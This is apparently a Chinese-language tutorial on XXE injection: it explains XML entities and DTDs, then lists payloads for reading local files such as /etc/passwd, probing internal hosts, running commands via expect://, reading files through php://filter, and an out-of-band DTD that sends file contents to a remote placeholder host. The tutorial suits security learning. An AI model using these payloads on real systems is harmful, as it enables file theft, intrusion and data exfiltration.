XXE(XML External Entity Injection) 全称为 XML 外部实体注入。XML 外部实体攻击是一种针对解析 XML 输入的应用程序的攻击。
什么是XML?
XML是可扩展标记语言(extensible markup language)的缩写,它是一种数据表示格式,可以描述非常复杂的数据结构,常用于传输和存储数据。
例如,一个描述书籍的XML文档可能如下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE note SYSTEM "book.dtd">
<book id="1">
<name>Java核心技术</name>
<author>Cay S. Horstmann</author>
<isbn lang="CN">1234567</isbn>
<tags>
<tag>Java</tag>
<tag>Network</tag>
</tags>
<pubDate/>
</book>
什么是 XML 实体?
XML 实体是一种在 XML 文档中表示数据项的方式,而不是使用数据本身。XML 语言规范中内置了各种实体。例如,实体<和>表示字符<和>。这些是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。
<、>、&、’、”在xml中是特殊符号,需要用实体表示
< <
> >
& &
’ '
” "
DTD是什么?
XML文件的文档类型定义(Document Type Definition)可以看成一个或者多个XML文件的模板,在这里可以定义XML文件中的元素、元素的属性、元素的排列方式、元素包含的内容等等。通常简称为DTD。
DTD文档有三种应用形式,分别是内部DTD,外部DTD,最后是两者的混合。
内部文档DTD:
<!DOCTYPE 根元素[定义内容]> //根元素可以自定义名称,定义内容为DTD的声明语法
外部文档DTD:
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
内外部DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径" [定义内容]>
实体
声明DTD的实体语法,我们可以修改或者定义XML中的内容,来达到想要的目的,这也是XXE攻击的由来的原因,常见的手法有两种:自定义内部实体和自定义外部实体
DTD的实体声明语法如下:
<!ENTITY 实体名称 实体內容> //实体名称和实体内容均可以自定义
自定义内部实体
可以修改xml文档中的内容
<!DOCTYPE user[<!ENTITY myentity "aa">]>
<user><username>&myentity;</username><password>hh</password></user>
//这里引用了一个实体名称myentity,需要在标签里用 &实体名称; 引用它
自定义外部实体
可以引用外部资源到实体中
<!DOCTYPE user[<!ENTITY myentity SYSTEM "file:///etc/passwd">]>
//命名了一个叫myentity的实体,SYSTEM的作用是获取外部资源并将其存储在myentity实体中
<user><username>&myentity;</username><password>hh</password></user>
//调用了myentity实体
可以看见成功的读取到了敏感文件
攻击层面
由于自定义外部实体有着可以引用外部资源的功能,SYSTEM后面的url分为以下几种方式,利用协议攻击
基本可以达到和SSRF一样的效果,探测内网端口(http/https),DDOS,读取任意文件(file),命令执行(expect)等
读取文件
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///e://test.txt">
]>
<x>&xxe;</x>
内网探测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xss SYSTEM "http://192.168.3.1:81/index.txt" >
]>
<x>&xss;</x>
RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
<?xml version = "1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
RCE漏洞在实战一般很难遇到
伪协议-读文件
<!DOCTYPE user[<!ENTITY myentity SYSTEM "php://filter/convert.base64-encode/resource=xxx.php">]>
引入外部实体 dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1/test.dtd">
%file;
]>
<x>&send;</x>
test.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
- 条件:看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施
关于百分号的理解
XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:
无回显-OOB
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/test.txt">
<!ENTITY % dtd SYSTEM "http://xx.xx.xx.xx/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx/?data=%file;'>"
>
服务器请求数据读取文件,然后将文件内容发送到远程服务地址的脚本,最后服务器再访问一次远程地址并把数据放到data=后面中,通过日志查看数据
总结
自定义内部实体一般情况下没有实质性的危害,真正有用的是可以引用外部资源的自定义外部实体,总结的是比较基础的知识点,通常可以利用引用外部实体进行读取绕过,或者OOB读取无回显。